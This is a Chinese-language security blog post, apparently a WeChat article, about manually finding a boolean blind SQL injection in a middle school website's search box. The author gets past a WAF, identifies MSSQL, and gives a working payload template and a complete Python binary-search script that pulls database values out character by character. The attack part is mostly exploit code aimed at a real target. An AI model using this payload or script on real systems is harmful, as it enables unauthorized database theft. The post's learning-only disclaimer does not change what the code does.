实战 | SQL注入-BOOL盲注-一个小细节
前言
申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
挖掘过程
不会用工具的我,只能慢慢手动测试。
测试某中学发现的一个容易被忽略的注入点
一如既往的在输入框搜索,得到的结果蛮多
注入怎么能不试试单引号呢,于是测试单引号,没有报错,没有关系
闭合测试,鱼鱼鱼,回显不一样了,小细节
于是继续尝试发现 select 不加参数不会被ban加参数就被ban,有waf
那就单独用,测试发现是mssql数据库,
因为ban了 waitfor delay
又经过手工测试发现一些没被ban的函数
之所以喜欢这么用是为了写二分法脚本做准备,
手动测试出了数据库名称第一个字符
于是开始编写脚本 payload…
经过测试与atao师傅交流
才得出一个运行正常的payload
1')and (ascii(substring(({content}),{i},1))-{mid})<1--+
完整playload如下
# -*- coding:utf-8 -*-import requestsurl = "ip:/???Text="def main():result = ""for i in range(1, 200):low = 31high = 128while low < high:mid = int((low + high) / 2)content = "@@version"sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"payload = url+sqlresponse = requests.get(url=payload)if "共18条数据" in response.text:high = midelse:low = mid + 1print("[+] After changing we got {} to {}".format(low, high))if low == high == 128 or low == high == 31:print("[*] Result is: {}".format(result))breakprint("[+] Now has {}".format(i))result += chr(int((high + low) / 2))print("[*] Result now is: {}".format(result))if __name__ == '__main__':main()
那就长按二维码,关注我们吧!
